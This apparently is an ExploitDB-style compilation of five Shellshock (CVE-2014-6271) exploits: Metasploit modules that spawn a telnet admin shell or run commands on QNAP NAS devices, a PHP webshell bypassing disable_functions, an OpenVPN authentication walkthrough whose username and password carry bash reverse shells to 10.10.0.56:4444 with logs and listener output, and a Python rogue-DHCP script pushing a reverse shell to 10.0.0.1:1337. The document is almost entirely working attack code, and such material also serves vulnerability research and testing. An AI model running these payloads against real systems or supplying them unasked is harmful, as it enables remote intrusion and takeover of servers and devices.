# Exploit Author: Patrick Pellegrino | 0x700x700x650x6c0x6c0x650x670x720x690x6e0x6f@securegroup.it [work] / 0x640x330x760x620x700x70@gmail.com [other]
# Employer homepage: http://www.securegroup.it
# Vendor homepage: http://www.qnap.com
# Version: All Turbo NAS models except TS-100, TS-101, TS-200
# Tested on: TS-1279U-RP
# CVE : 2014-6271
# Vendor URL bulletin : http://www.qnap.com/i/it/support/con_show.php?cid=61


##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/d3vpp/metasploit-modules
##

require 'msf/core'
require 'net/telnet'

class Metasploit3 < Msf::Auxiliary
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::CommandShell

   def initialize(info = {})
    super(update_info(info,
      'Name' => 'QNAP admin shell via Bash Environment Variable Code Injection',
      'Description' => %q{
		This module allows you to spawn a remote admin shell (utelnetd) on a QNAP device via Bash Environment Variable Code Injection.
		Affected products:
		All Turbo NAS models except TS-100, TS-101, TS-200
		},
      'Author' => ['Patrick Pellegrino'], # Metasploit module | 0x700x700x650x6c0x6c0x650x670x720x690x6e0x6f@securegroup.it [work] / 0x640x330x760x620x700x70@gmail.com [other]
      'License' => MSF_LICENSE,
      'References' => [
			['CVE', '2014-6271'], #aka ShellShock
			['URL', 'http://www.qnap.com/i/it/support/con_show.php?cid=61']
		],
      'Platform'       => ['unix']
    ))

    register_options([
      OptString.new('TARGETURI', [true, 'Path to CGI script','/cgi-bin/index.cgi']),
      OptPort.new('LTELNET', [true, 'Set the remote port where the utelnetd service will be listening','9993'])
    ], self.class)
  end

 def check
	begin
 	res = send_request_cgi({
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path),
        'agent' => "() { :;}; echo; /usr/bin/id"
      })
	rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE
		vprint_error("Connection failed")
		return Exploit::CheckCode::Unknown
 end

    if !res
      return Exploit::CheckCode::Unknown
    elsif res.code== 302 and res.body.include? 'uid'
	  return Exploit::CheckCode::Vulnerable
    end
    return Exploit::CheckCode::Safe
  end


  def exploit_telnet()
    telnetport = datastore['LTELNET']

    print_status("#{rhost}:#{rport} - Telnet port used: #{telnetport}")

    print_status("#{rhost}:#{rport} - Sending exploit")
    begin
      sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i })

      if sock
        print_good("#{rhost}:#{rport} - Backdoor service spawned")
        add_socket(sock)
      else
        fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Backdoor service not spawned")
      end

      print_status "Starting a Telnet session #{rhost}:#{telnetport}"
      merge_me = {
        'USERPASS_FILE' => nil,
        'USER_FILE'     => nil,
        'PASS_FILE'     => nil,
        'USERNAME'      => nil,
        'PASSWORD'      => nil
      }
      start_session(self, "TELNET (#{rhost}:#{telnetport})", merge_me, false, sock)
    rescue
      fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Backdoor service not handled")
    end
    return
  end

  def run
	begin
	telnetport = datastore['LTELNET']
	res = send_request_cgi({
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path),
        'agent' => "() { :;}; /bin/utelnetd -l/bin/sh -p#{telnetport} &"
      })
    rescue Rex::ConnectionRefused, Rex::ConnectionTimeout,
           Rex::HostUnreachable => e
      fail_with(Failure::Unreachable, e)
    ensure
      disconnect
    end
	exploit_telnet()

  end

end
ExploitDB remote hardware
Source

QNAP - Web Server Remote Code Execution via Bash Environment Variable Code Injection (Metasploit)

By Patrick Pellegrino

How to test this exploit

Remote exploit. Target an isolated vulnerable instance (VM/lab), never a production system.

ruby 36504.rb

Code rb

# Exploit Title: QNAP Web server remote code execution via Bash Environment Variable Code Injection
# Date: 7 February 2015
# Exploit Author: Patrick Pellegrino | 0x700x700x650x6c0x6c0x650x670x720x690x6e0x6f@securegroup.it [work] / 0x640x330x760x620x700x70@gmail.com [other]
# Employer homepage: http://www.securegroup.it
# Vendor homepage: http://www.qnap.com
# Version: All Turbo NAS models except TS-100, TS-101, TS-200
# Tested on: TS-1279U-RP
# CVE : 2014-6271
# Vendor URL bulletin : http://www.qnap.com/i/it/support/con_show.php?cid=61


##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/d3vpp/metasploit-modules
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

   def initialize(info = {})
    super(update_info(info,
      'Name' => 'QNAP Web server remote code execution via Bash Environment Variable Code Injection',
      'Description' => %q{
		This module allows you to inject unix command with the same user who runs the http service - admin - directly on the QNAP system.
		Affected products:
		All Turbo NAS models except TS-100, TS-101, TS-200
		},
      'Author' => ['Patrick Pellegrino'], # Metasploit module | 0x700x700x650x6c0x6c0x650x670x720x690x6e0x6f@securegroup.it [work] / 0x640x330x760x620x700x70@gmail.com [other]
      'License' => MSF_LICENSE,
      'References' => [
			['CVE', '2014-6271'], #aka ShellShock
			['URL', 'http://www.qnap.com/i/it/support/con_show.php?cid=61']
		],
      'Platform'       => ['unix']
    ))

    register_options([
      OptString.new('TARGETURI', [true, 'Path to CGI script','/cgi-bin/index.cgi']),
      OptString.new('CMD', [ true, 'The command to run', '/bin/cat  /etc/passwd'])
    ], self.class)
  end

 def check
	begin
 	res = send_request_cgi({
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path),
        'agent' => "() { :;}; echo; /usr/bin/id"
      })
	rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE
		vprint_error("Connection failed")
		return Exploit::CheckCode::Unknown
 end

    if !res
      return Exploit::CheckCode::Unknown
    elsif res.code== 302 and res.body.include? 'uid'
	  return Exploit::CheckCode::Vulnerable
    end
    return Exploit::CheckCode::Safe
  end


  def run

	res = send_request_cgi({
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path),
        'agent' => "() { :;}; echo; #{datastore['CMD']}"
      })

	if res.body.empty?
		print_error("No data found.")
	elsif res.code== 302
		print_status("#{rhost}:#{rport} - bash env variable injected")
		puts " "
		print_line(res.body)
    end
	end

end
ExploitDB webapps php
Source

PHP < 5.6.2 - 'Shellshock' Safe Mode / disable_functions Bypass / Command Injection

By Ryan King (Starfall)

How to test this exploit

Web exploit. Deploy a vulnerable instance in a lab, serve the script/request against it, and observe the response.

Code txt

# Exploit Title: PHP 5.x Shellshock Exploit (bypass disable_functions)
# Google Dork: none
# Date: 10/31/2014
# Exploit Author: Ryan King (Starfall)
# Vendor Homepage: http://php.net
# Software Link: http://php.net/get/php-5.6.2.tar.bz2/from/a/mirror
# Version: 5.* (tested on 5.6.2)
# Tested on: Debian 7 and CentOS 5 and 6
# CVE: CVE-2014-6271
<pre>
<?php echo "Disabled functions: ".ini_get('disable_functions')."\n"; ?>
<?php
function shellshock($cmd) { // Execute a command via CVE-2014-6271 @ mail.c:283
   if(strstr(readlink("/bin/sh"), "bash") != FALSE) {
     $tmp = tempnam(".","data");
     putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
     // In Safe Mode, the user may only alter environment variables whose names
     // begin with the prefixes supplied by this directive.
     // By default, users will only be able to set environment variables that
     // begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive is empty,
     // PHP will let the user modify ANY environment variable!
     mail("a@127.0.0.1","","","","-bv"); // -bv so we don't actually send any mail
   }
   else return "Not vuln (not bash)";
   $output = @file_get_contents($tmp);
   @unlink($tmp);
   if($output != "") return $output;
   else return "No output, or not vuln.";
}
echo shellshock($_REQUEST["cmd"]);
?>
ExploitDB remote linux
Source

OpenVPN 2.2.29 - 'Shellshock' Remote Command Injection

By hobbily plunt

How to test this exploit

Remote exploit. Target an isolated vulnerable instance (VM/lab), never a production system.

Code txt

# Exploit Title: ShellShock OpenVPN Exploit

# Date: Fri Oct  3 15:48:08 EDT 2014

# Exploit Author: hobbily AKA @fj33r

# Version: 2.2.29

# Tested on: Debian Linux

# CVE : CVE-2014-6271

#Probably should of submitted this the day I tweeted it.
### server.conf
port 1194
proto udp
dev tun
client-cert-not-required
auth-user-pass-verify /etc/openvpn/user.sh via-env
tmp-dir "/etc/openvpn/tmp"
ca ca.crt
cert testing.crt
key testing.key  # This file should be kept secret
dh dh1024.pem
server 10.8.0.0 255.255.255.0
keepalive 10 120
comp-lzo
user nobody
group nogroup
persist-key
persist-tun
client-cert-not-required
plugin /usr/lib/openvpn/openvpn-auth-pam.so login
script-security 3
status openvpn-status.log
verb 3

### user.sh
#!/bin/bash
echo "$username"
echo "$password"

### start server
openvpn server.con

### terminal 1
nc -lp 4444

### terminal 2
sudo openvpn --client --remote 10.10.0.52 --auth-user-pass --dev tun --ca ca.cert --auth-nocache --comp-lzo

### username && password were both shellshocked just incase
user:() { :;};/bin/bash -i >& /dev/tcp/10.10.0.56/4444 0>&1 &
pass:() { :;};/bin/bash -i >& /dev/tcp/10.10.0.56/4444 0>&1 &

### log
Mon Sep 29 20:56:56 2014 NOTE: the current --script-security setting may allow this configuration to call user-defined scripts
Mon Sep 29 20:56:56 2014 PLUGIN_INIT: POST /usr/lib/openvpn/openvpn-auth-pam.so '[/usr/lib/openvpn/openvpn-auth-pam.so] [login]' intercepted=PLUGIN_AUTH_USER_PASS_VERIFY
Mon Sep 29 20:56:56 2014 Diffie-Hellman initialized with 1024 bit key
Mon Sep 29 20:56:56 2014 WARNING: POTENTIALLY DANGEROUS OPTION --client-cert-not-required may accept clients which do not present a certificate
Mon Sep 29 20:56:56 2014 TLS-Auth MTU parms [ L:1542 D:138 EF:38 EB:0 ET:0 EL:0 ]
Mon Sep 29 20:56:56 2014 Socket Buffers: R=[163840->131072] S=[163840->131072]
Mon Sep 29 20:56:56 2014 ROUTE default_gateway=10.10.0.1
Mon Sep 29 20:56:56 2014 TUN/TAP device tun0 opened
Mon Sep 29 20:56:56 2014 TUN/TAP TX queue length set to 100
Mon Sep 29 20:56:56 2014 do_ifconfig, tt->ipv6=0, tt->did_ifconfig_ipv6_setup=0
Mon Sep 29 20:56:56 2014 /sbin/ifconfig tun0 10.8.0.1 pointopoint 10.8.0.2 mtu 1500
Mon Sep 29 20:56:56 2014 /sbin/route add -net 10.8.0.0 netmask 255.255.255.0 gw 10.8.0.2
Mon Sep 29 20:56:56 2014 Data Channel MTU parms [ L:1542 D:1450 EF:42 EB:135 ET:0 EL:0 AF:3/1 ]
Mon Sep 29 20:56:56 2014 GID set to nogroup
Mon Sep 29 20:56:56 2014 UID set to nobody
Mon Sep 29 20:56:56 2014 UDPv4 link local (bound): [undef]
Mon Sep 29 20:56:56 2014 UDPv4 link remote: [undef]
Mon Sep 29 20:56:56 2014 MULTI: multi_init called, r=256 v=256
Mon Sep 29 20:56:56 2014 IFCONFIG POOL: base=10.8.0.4 size=62, ipv6=0
Mon Sep 29 20:56:56 2014 Initialization Sequence Completed
Mon Sep 29 20:57:54 2014 MULTI: multi_create_instance called
Mon Sep 29 20:57:54 2014 10.10.0.56:1194 Re-using SSL/TLS context
Mon Sep 29 20:57:54 2014 10.10.0.56:1194 LZO compression initialized
Mon Sep 29 20:57:54 2014 10.10.0.56:1194 Control Channel MTU parms [ L:1542 D:138 EF:38 EB:0 ET:0 EL:0 ]
Mon Sep 29 20:57:54 2014 10.10.0.56:1194 Data Channel MTU parms [ L:1542 D:1450 EF:42 EB:135 ET:0 EL:0 AF:3/1 ]
Mon Sep 29 20:57:54 2014 10.10.0.56:1194 Local Options hash (VER=V4): '530fdded'
Mon Sep 29 20:57:54 2014 10.10.0.56:1194 Expected Remote Options hash (VER=V4): '41690919'
Mon Sep 29 20:57:54 2014 10.10.0.56:1194 TLS: Initial packet from [AF_INET]10.10.0.56:1194, sid=644ea55a 5f832b02
AUTH-PAM: BACKGROUND: user '() { :;};/bin/bash -i >& /dev/tcp/10.10.0.56/4444 0>&1 &' failed to authenticate: Error in service module
Mon Sep 29 20:57:57 2014 10.10.0.56:1194 PLUGIN_CALL: POST /usr/lib/openvpn/openvpn-auth-pam.so/PLUGIN_AUTH_USER_PASS_VERIFY status=1
Mon Sep 29 20:57:57 2014 10.10.0.56:1194 PLUGIN_CALL: plugin function PLUGIN_AUTH_USER_PASS_VERIFY failed with status 1: /usr/lib/openvpn/openvpn-auth-pam.so
_________/bin/bash_-i____/dev/tcp/10.10.0.56/4444_0__1__

Mon Sep 29 20:57:57 2014 10.10.0.56:1194 TLS Auth Error: Auth Username/Password verification failed for peer
Mon Sep 29 20:57:57 2014 10.10.0.56:1194 Control Channel: TLSv1, cipher TLSv1/SSLv3 DHE-RSA-AES256-SHA
Mon Sep 29 20:57:57 2014 10.10.0.56:1194 [] Peer Connection Initiated with [AF_INET]10.10.0.56:1194
Mon Sep 29 20:57:59 2014 10.10.0.56:1194 PUSH: Received control message: 'PUSH_REQUEST'
Mon Sep 29 20:57:59 2014 10.10.0.56:1194 Delayed exit in 5 seconds
Mon Sep 29 20:57:59 2014 10.10.0.56:1194 SENT CONTROL [UNDEF]: 'AUTH_FAILED' (status=1)
Mon Sep 29 20:58:01 2014 read UDPv4 [ECONNREFUSED]: Connection refused (code=111)
Mon Sep 29 20:58:04 2014 10.10.0.56:1194 SIGTERM[soft,delayed-exit] received, client-instance exiting

### nc listener
nobody@debian:/etc/openvpn$ id
id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
#shoutouts to Fredrik Str�mberg for the post he made on ycombinator
ExploitDB remote linux
Source

GNU bash 4.3.11 - Environment Variable dhclient

By @0x00string

How to test this exploit

Remote exploit. Target an isolated vulnerable instance (VM/lab), never a production system.

python3 34860.py

Code py

#!/usr/bin/python
# Exploit Title: dhclient shellshocker
# Google Dork: n/a
# Date: 10/1/14
# Exploit Author: @0x00string
# Vendor Homepage: gnu.org
# Software Link: http://ftp.gnu.org/gnu/bash/bash-4.3.tar.gz
# Version: 4.3.11
# Tested on: Ubuntu 14.04.1
# CVE : CVE-2014-6277,CVE-2014-6278,CVE-2014-7169,CVE-2014-7186,CVE-2014-7187
#  ______        ______  ______                 _
# / __   |      / __   |/ __   |     _         (_)
#| | //| |_   _| | //| | | //| | ___| |_   ____ _ ____   ____  ___
#| |// | ( \ / ) |// | | |// | |/___)  _) / ___) |  _ \ / _  |/___)
#|  /__| |) X (|  /__| |  /__| |___ | |__| |   | | | | ( ( | |___ |
# \_____/(_/ \_)\_____/ \_____/(___/ \___)_|   |_|_| |_|\_|| (___/
#                                                      (_____|
#     _ _           _ _
#    | | |         | (_)            _
#  _ | | | _   ____| |_  ____ ____ | |_
# / || | || \ / ___) | |/ _  )  _ \|  _)
#( (_| | | | ( (___| | ( (/ /| | | | |__
# \____|_| |_|\____)_|_|\____)_| |_|\___)
#
#      _           _ _      _                 _
#     | |         | | |    | |               | |
#  ___| | _   ____| | | ___| | _   ___   ____| |  _ ____  ____
# /___) || \ / _  ) | |/___) || \ / _ \ / ___) | / ) _  )/ ___)
#|___ | | | ( (/ /| | |___ | | | | |_| ( (___| |< ( (/ /| |
#(___/|_| |_|\____)_|_(___/|_| |_|\___/ \____)_| \_)____)_|

# this buddy listens for clients performing a DISCOVER, a later version will exploit periodic REQUESTs, which can sometimes be prompted by causing IP conflicts
# once a broadcast DISCOVER packet has been detected, the XID, MAC and requested IP are pulled from the pack and a corresponding OFFER and ACK are generated and pushed out
# The client is expected to reject the offer in preference of their known DHCP server, but will still process the packet, triggering the vulnerability.
# can use option 114, 56 or 61, though is hardcoded to use 114 as this is merely a quick and dirty example.

import socket, struct
def HexToByte( hexStr ):
    b = []
    h = ''.join( h.split(" ") )
    for i in range(0, len(h), 2):
        b.append( chr( int (h[i:i+2], 16 ) ) )
    return ''.join( b )

rport = 68
lport = 67

bsock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

bsock.bind(("<broadcast>", lport))

while True:

	OP = "72" # 56, Message - RFC 1533,2132. 61, Client-identifier - RFC 1533,2132,4361 or 114, URL - RFC 3679 are currently known to work, here we use 114
	URL = "() { :;}; bash -i >& /dev/tcp/10.0.0.1/1337 0>&1".encode("hex")
	URLLEN = chr(len(URL) / 2).encode("hex")
	END = "03040a000001ff"
	broadcast_get, (bcrhost, rport) = bsock.recvfrom(2048)
	hexip = broadcast_get[245:249]
	rhost = str(ord(hexip[0])) + "." + str(ord(hexip[1])) + "." + str(ord(hexip[2])) + "." + str(ord(hexip[3]))
	XID = broadcast_get[4:8].encode("hex")
	chaddr = broadcast_get[29:34].encode("hex")
	print "[+]\tgot broadcast with XID " + XID + " requesting IP " + rhost + "\n"
	OFFER = "02010600" + XID + "00000000000000000a0000430a0000010000000000" + chaddr + "000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006382536335010236040a000001330400000e103a04000007083b0400000c4e0104ffffff001c040a0000ff06040a0000010f034c4f4c0c076578616d706c65" + OP + URLLEN + URL + END
	OFFER_BYTES = HexToByte(OFFER)
	ACK = "02010600" + XID + "00000000000000000a0000430a0000010000000000" + chaddr + "000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006382536335010536040a000001330400000e103a04000007083b0400000c4e0104ffffff001c040a0000ff06040a0000010f034c4f4c0c076578616d706c65" + OP + URLLEN + URL + END
	ACK_BYTES = HexToByte(ACK)
	print "[+]\tsending evil offer\n"
	sock.sendto(OFFER_BYTES, (rhost, rport))
	broadcast_get2 = bsock.recvfrom(2048)
	print "[+]\tassuming request was received, sending ACK\n"
	sock.sendto(ACK_BYTES, (rhost, rport))